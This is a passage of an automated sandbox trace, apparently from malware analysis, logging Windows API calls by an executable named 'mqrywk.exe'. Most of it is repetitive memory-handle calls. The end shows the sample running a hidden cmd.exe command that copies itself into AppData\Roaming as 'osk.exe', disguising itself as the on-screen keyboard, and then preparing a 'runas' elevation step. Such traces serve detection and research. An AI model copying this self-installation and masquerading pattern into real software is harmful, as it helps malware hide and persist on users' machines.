(hMem=0x27000c) returned 0x5be5f8 [0025.339] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.339] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.339] GlobalUnlock (hMem=0x27000c) returned 0 [0025.339] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.339] GlobalUnlock (hMem=0x270004) returned 0 [0025.339] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.339] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.339] GlobalUnlock (hMem=0x270004) returned 0 [0025.339] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.339] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.339] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.339] GlobalUnlock (hMem=0x270004) returned 0 [0025.339] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.339] GlobalUnlock (hMem=0x27000c) returned 0 [0025.340] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.340] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.340] GlobalUnlock (hMem=0x27000c) returned 0 [0025.340] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.340] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.340] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.340] GlobalUnlock (hMem=0x27000c) returned 0 [0025.340] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.340] GlobalUnlock (hMem=0x270004) returned 0 [0025.340] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.340] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.340] GlobalUnlock (hMem=0x270004) returned 0 [0025.340] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.340] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.340] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.340] GlobalUnlock (hMem=0x270004) returned 0 [0025.340] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.340] GlobalUnlock (hMem=0x27000c) returned 0 [0025.340] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.340] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.340] GlobalUnlock (hMem=0x27000c) returned 0 [0025.340] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.340] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.340] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.340] GlobalUnlock (hMem=0x27000c) returned 0 [0025.340] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.340] GlobalUnlock (hMem=0x270004) returned 0 [0025.340] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.341] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.341] GlobalUnlock (hMem=0x270004) returned 0 [0025.341] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.341] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.341] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.341] GlobalUnlock (hMem=0x270004) returned 0 [0025.341] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.341] GlobalUnlock (hMem=0x27000c) returned 0 [0025.341] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.341] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.341] GlobalUnlock (hMem=0x27000c) returned 0 [0025.341] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.341] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.341] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.341] GlobalUnlock (hMem=0x27000c) returned 0 [0025.341] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.341] GlobalUnlock (hMem=0x270004) returned 0 [0025.341] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.341] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.341] GlobalUnlock (hMem=0x270004) returned 0 [0025.341] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.341] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.341] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.341] GlobalUnlock (hMem=0x270004) returned 0 [0025.341] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.341] GlobalUnlock (hMem=0x27000c) returned 0 [0025.341] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.341] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.341] GlobalUnlock (hMem=0x27000c) returned 0 [0025.342] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.342] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.342] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.342] GlobalUnlock (hMem=0x27000c) returned 0 [0025.342] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.342] GlobalUnlock (hMem=0x270004) returned 0 [0025.342] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.342] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.342] GlobalUnlock (hMem=0x270004) returned 0 [0025.342] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.342] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.342] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.342] GlobalUnlock (hMem=0x270004) returned 0 [0025.342] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.342] GlobalUnlock (hMem=0x27000c) returned 0 [0025.342] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.342] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.342] GlobalUnlock (hMem=0x27000c) returned 0 [0025.342] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.342] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.342] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.342] GlobalUnlock (hMem=0x27000c) returned 0 [0025.342] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.342] GlobalUnlock (hMem=0x270004) returned 0 [0025.342] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.342] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.342] GlobalUnlock (hMem=0x270004) returned 0 [0025.342] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.343] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.343] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.343] GlobalUnlock (hMem=0x270004) returned 0 [0025.343] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.343] GlobalUnlock (hMem=0x27000c) returned 0 [0025.343] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.343] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.343] GlobalUnlock (hMem=0x27000c) returned 0 [0025.343] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.343] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.343] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.343] GlobalUnlock (hMem=0x27000c) returned 0 [0025.343] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.343] GlobalUnlock (hMem=0x270004) returned 0 [0025.343] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.343] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.343] GlobalUnlock (hMem=0x270004) returned 0 [0025.343] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.343] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.343] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.343] GlobalUnlock (hMem=0x270004) returned 0 [0025.343] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.343] GlobalUnlock (hMem=0x27000c) returned 0 [0025.343] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.343] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.343] GlobalUnlock (hMem=0x27000c) returned 0 [0025.343] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.343] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.343] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.343] GlobalUnlock (hMem=0x27000c) returned 0 [0025.344] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.344] GlobalUnlock (hMem=0x270004) returned 0 [0025.344] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.344] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.344] GlobalUnlock (hMem=0x270004) returned 0 [0025.344] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.344] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.344] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.344] GlobalUnlock (hMem=0x270004) returned 0 [0025.344] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.344] GlobalUnlock (hMem=0x27000c) returned 0 [0025.344] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.344] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.344] GlobalUnlock (hMem=0x27000c) returned 0 [0025.344] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.344] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.344] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.344] GlobalUnlock (hMem=0x27000c) returned 0 [0025.344] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.344] GlobalUnlock (hMem=0x270004) returned 0 [0025.344] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.344] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.344] GlobalUnlock (hMem=0x270004) returned 0 [0025.344] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.344] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.344] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.344] GlobalUnlock (hMem=0x270004) returned 0 [0025.344] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.344] GlobalUnlock (hMem=0x27000c) returned 0 [0025.345] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.345] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.345] GlobalUnlock (hMem=0x27000c) returned 0 [0025.345] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.345] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.345] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.345] GlobalUnlock (hMem=0x27000c) returned 0 [0025.345] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.345] GlobalUnlock (hMem=0x270004) returned 0 [0025.345] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.345] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.345] GlobalUnlock (hMem=0x270004) returned 0 [0025.345] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.345] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.345] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.345] GlobalUnlock (hMem=0x270004) returned 0 [0025.345] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.345] GlobalUnlock (hMem=0x27000c) returned 0 [0025.345] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.345] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.345] GlobalUnlock (hMem=0x27000c) returned 0 [0025.345] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.345] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.345] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.345] GlobalUnlock (hMem=0x27000c) returned 0 [0025.345] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.345] GlobalUnlock (hMem=0x270004) returned 0 [0025.345] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.346] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.346] GlobalUnlock (hMem=0x270004) returned 0 [0025.346] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.346] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.346] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.346] GlobalUnlock (hMem=0x270004) returned 0 [0025.346] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.346] GlobalUnlock (hMem=0x27000c) returned 0 [0025.346] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.346] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.346] GlobalUnlock (hMem=0x27000c) returned 0 [0025.346] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.346] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.346] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.346] GlobalUnlock (hMem=0x27000c) returned 0 [0025.346] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.346] GlobalUnlock (hMem=0x270004) returned 0 [0025.346] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.346] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.346] GlobalUnlock (hMem=0x270004) returned 0 [0025.346] GlobalLock (hMem=0x270004) returned 0x5be5f8 [0025.346] GlobalLock (hMem=0x27000c) returned 0x5c0608 [0025.346] GlobalHandle (pMem=0x5be5f8) returned 0x270004 [0025.346] GlobalUnlock (hMem=0x270004) returned 0 [0025.346] GlobalHandle (pMem=0x5c0608) returned 0x27000c [0025.346] GlobalUnlock (hMem=0x27000c) returned 0 [0025.346] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.346] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.347] GlobalUnlock (hMem=0x27000c) returned 0 [0025.347] GlobalLock (hMem=0x27000c) returned 0x5be5f8 [0025.347] GlobalLock (hMem=0x270004) returned 0x5c0608 [0025.347] GlobalHandle (pMem=0x5be5f8) returned 0x27000c [0025.347] GlobalUnlock (hMem=0x27000c) returned 0 [0025.347] GlobalHandle (pMem=0x5c0608) returned 0x270004 [0025.347] GlobalUnlock (hMem=0x270004) returned 0 [0025.347] SHGetMalloc (in: ppMalloc=0x18fd40 | out: ppMalloc=0x18fd40*=0x764066bc) returned 0x0 [0025.347] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x18fd3c | out: ppidl=0x18fd3c) returned 0x0 [0026.791] SHGetPathFromIDListW (in: pidl=0x5beb08, pszPath=0x5c7bf4 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0026.792] SysReAllocStringLen (in: pbstr=0x18fd68*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x18fd68*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0026.792] IMalloc:Free (This=0x764066bc, pv=0x5beb08) [0026.792] IUnknown:AddRef (This=0x764066bc) returned 0x1 [0026.792] SysReAllocStringLen (in: pbstr=0x437208*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", len=0x2d | out: pbstr=0x437208*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 1 [0026.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x5798b8, cbMultiByte=7, lpWideCharStr=0x18ed3c, cchWideChar=2047 | out: lpWideCharStr="osk.exe\x18ㅬ畱\x18㹕畱僱\\\x18") returned 7 [0026.792] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" " [0026.794] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" " [0026.796] GlobalLock (hMem=0x270004) returned 0x5bf090 [0026.796] GlobalHandle (pMem=0x5bf090) returned 0x270004 [0026.796] GlobalUnlock (hMem=0x270004) returned 0 [0026.796] GlobalLock (hMem=0x270004) returned 0x5bf090 [0026.797] GlobalLock (hMem=0x27000c) returned 0x5e9d28 [0026.797] GlobalHandle (pMem=0x5bf090) returned 0x270004 [0026.797] GlobalUnlock (hMem=0x270004) returned 0 [0026.797] GlobalHandle (pMem=0x5e9d28) returned 0x27000c [0026.797] GlobalUnlock (hMem=0x27000c) returned 0 [0026.797] GlobalLock (hMem=0x27000c) returned 0x5bf090 [0026.797] GlobalHandle (pMem=0x5bf090) returned 0x27000c [0026.797] GlobalUnlock (hMem=0x27000c) returned 0 [0026.797] GlobalLock (hMem=0x27000c) returned 0x5bf090 [0026.797] GlobalLock (hMem=0x270004) returned 0x5e9d28 [0026.797] GlobalHandle (pMem=0x5bf090) returned 0x27000c [0026.797] GlobalUnlock (hMem=0x27000c) returned 0 [0026.797] GlobalHandle (pMem=0x5e9d28) returned 0x270004 [0026.797] GlobalUnlock (hMem=0x270004) returned 0 [0026.797] GlobalLock (hMem=0x270004) returned 0x5bf090 [0026.797] GlobalHandle (pMem=0x5bf090) returned 0x270004 [0026.797] GlobalUnlock (hMem=0x270004) returned 0 [0026.797] GlobalLock (hMem=0x270004) returned 0x5bf090 [0026.797] GlobalLock (hMem=0x27000c) returned 0x5e9d28 [0026.797] GlobalHandle (pMem=0x5bf090) returned 0x270004 [0026.797] GlobalUnlock (hMem=0x270004) returned 0 [0026.797] GlobalHandle (pMem=0x5e9d28) returned 0x27000c [0026.797] GlobalUnlock (hMem=0x27000c) returned 0 [0026.797] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\qhwVf", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fe0c | out: phkResult=0x18fe0c*=0x0) returned 0x2 [0026.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFindFileData=0x18fbd0 | out: lpFindFileData=0x18fbd0*(dwFileAttributes=0x1eb0, ftCreationTime.dwLowDateTime=0x3d6, ftCreationTime.dwHighDateTime=0x18fcd0, ftLastAccessTime.dwLowDateTime=0x77353587, ftLastAccessTime.dwHighDateTime=0x5bf090, ftLastWriteTime.dwLowDateTime=0x5ebd30, ftLastWriteTime.dwHighDateTime=0x18fca0, nFileSizeHigh=0x7735387a, nFileSizeLow=0x7758a8cb, dwReserved0=0x7734e36c, dwReserved1=0x7758a867, cFileName="ﵔ\x18ƬZ", cAlternateFileName="")) returned 0xffffffff [0026.798] GetLastError () returned 0x2 [0026.798] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fc14, nSize=0x20a | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqrywk.exe")) returned 0x30 [0026.798] GlobalLock (hMem=0x27000c) returned 0x5bf090 [0026.798] GlobalHandle (pMem=0x5bf090) returned 0x27000c [0026.798] GlobalUnlock (hMem=0x27000c) returned 0 [0026.798] GlobalLock (hMem=0x27000c) returned 0x5bf090 [0026.798] GlobalLock (hMem=0x270004) returned 0x5e9d28 [0026.798] GlobalHandle (pMem=0x5bf090) returned 0x27000c [0026.798] GlobalUnlock (hMem=0x27000c) returned 0 [0026.798] GlobalHandle (pMem=0x5e9d28) returned 0x270004 [0026.798] GlobalUnlock (hMem=0x270004) returned 0 [0026.798] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x56a6e8, cbMultiByte=18, lpWideCharStr=0x18edcc, cchWideChar=2047 | out: lpWideCharStr="/c copy /y \"@\" \"#\"\x18\x18㧸Z") returned 18 [0026.798] SysReAllocStringLen (in: pbstr=0x18fdc0*=0x0, psz="/c copy /y \"@\" \"#\"", len=0x12 | out: pbstr=0x18fdc0*="/c copy /y \"@\" \"#\"") returned 1 [0026.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="/c copy /y \"@\" \"#\"", cchWideChar=18, lpMultiByteStr=0x18ed8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c copy /y \"@\" \"#\"\x18", lpUsedDefaultChar=0x0) returned 18 [0026.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x18ed88, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ý\x18", lpUsedDefaultChar=0x0) returned 1 [0026.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\" \"#\"", cchWideChar=5, lpMultiByteStr=0x18ed8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\" \"#\"py /y \"@\" \"#\"\x18", lpUsedDefaultChar=0x0) returned 5 [0026.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x18ed88, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ý\x18", lpUsedDefaultChar=0x0) returned 1 [0026.799] SysReAllocStringLen (in: pbstr=0x18fe14*=0x0, psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", len=0x41 | out: pbstr=0x18fe14*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"") returned 1 [0026.799] SysReAllocStringLen (in: pbstr=0x18fe1c*="/c copy /y \"@\" \"#\"", psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", len=0x41 | out: pbstr=0x18fe1c*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"") returned 1 [0026.799] SysReAllocStringLen (in: pbstr=0x18fdc0*=0x0, psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", len=0x41 | out: pbstr=0x18fdc0*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"") returned 1 [0026.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", cchWideChar=65, lpMultiByteStr=0x18ed8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", lpUsedDefaultChar=0x0) returned 65 [0026.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x18ed88, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ý\x18", lpUsedDefaultChar=0x0) returned 1 [0026.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\"", cchWideChar=1, lpMultiByteStr=0x18ed8c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"ý\x18", lpUsedDefaultChar=0x0) returned 1 [0026.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x18ed88, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ý\x18", lpUsedDefaultChar=0x0) returned 1 [0026.799] SysReAllocStringLen (in: pbstr=0x18fe10*=0x0, psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"", len=0x75 | out: pbstr=0x18fe10*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"") returned 1 [0026.799] SysReAllocStringLen (in: pbstr=0x18fe1c*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"#\"", psz="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"", len=0x75 | out: pbstr=0x18fe1c*="/c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"") returned 1 [0026.799] GlobalLock (hMem=0x270004) returned 0x5bf090 [0026.799] GlobalHandle (pMem=0x5bf090) returned 0x270004 [0026.799] GlobalUnlock (hMem=0x270004) returned 0 [0026.799] GlobalLock (hMem=0x270004) returned 0x5bf090 [0026.800] GlobalLock (hMem=0x27000c) returned 0x5e9d28 [0026.800] GlobalHandle (pMem=0x5bf090) returned 0x270004 [0026.800] GlobalUnlock (hMem=0x270004) returned 0 [0026.800] GlobalHandle (pMem=0x5e9d28) returned 0x27000c [0026.800] GlobalUnlock (hMem=0x27000c) returned 0 [0026.800] GetEnvironmentVariableA (in: lpName="COMSPEC", lpBuffer=0x18f9cc, nSize=0x400 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0026.800] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x532638, cbMultiByte=27, lpWideCharStr=0x18edcc, cchWideChar=2047 | out: lpWideCharStr="C:\\Windows\\system32\\cmd.exeZ眴Ȉ") returned 27 [0026.800] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32\\", lpStartupInfo=0x18fd90*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fd80 | out: lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"", lpProcessInformation=0x18fd80*(hProcess=0xe8, hThread=0xe4, dwProcessId=0x7e0, dwThreadId=0x328)) returned 1 [0026.814] WaitForSingleObject (hHandle=0xe8, dwMilliseconds=0xffffffff) returned 0x0 [0027.252] CloseHandle (hObject=0xe8) returned 1 [0027.253] CloseHandle (hObject=0xe4) returned 1 [0027.253] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe", lpFindFileData=0x18fb80 | out: lpFindFileData=0x18fb80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36de9da0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x36de9da0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x261a1300, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="osk.exe", cAlternateFileName="")) returned 0x5c51d0 [0027.253] FileTimeToLocalFileTime (in: lpFileTime=0x18fb94, lpLocalFileTime=0x18fb14 | out: lpLocalFileTime=0x18fb14) returned 1 [0027.253] FileTimeToDosDateTime (in: lpFileTime=0x18fb14, lpFatDate=0x18fb62, lpFatTime=0x18fb60 | out: lpFatDate=0x18fb62, lpFatTime=0x18fb60) returned 1 [0027.253] FindClose (in: hFindFile=0x5c51d0 | out: hFindFile=0x5c51d0) returned 1 [0027.253] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" " [0027.254] GlobalLock (hMem=0x27000c) returned 0x5bf090 [0027.254] GlobalHandle (pMem=0x5bf090) returned 0x27000c [0027.254] GlobalUnlock (hMem=0x27000c) returned 0 [0027.254] GlobalLock (hMem=0x27000c) returned 0x5bf090 [0027.254] GlobalLock (hMem=0x270004) returned 0x5e9d28 [0027.254] GlobalHandle (pMem=0x5bf090) returned 0x27000c [0027.254] GlobalUnlock (hMem=0x27000c) returned 0 [0027.254] GlobalHandle (pMem=0x5e9d28) returned 0x270004 [0027.254] GlobalUnlock (hMem=0x270004) returned 0 [0027.255] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x5796f0, cbMultiByte=5, lpWideCharStr=0x18edf4, cchWideChar=2047 | out: lpWideCharStr="runasxeZ眴Ȉ") returned 5 [0027.255] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fbe8, nSize=0x20a | out: 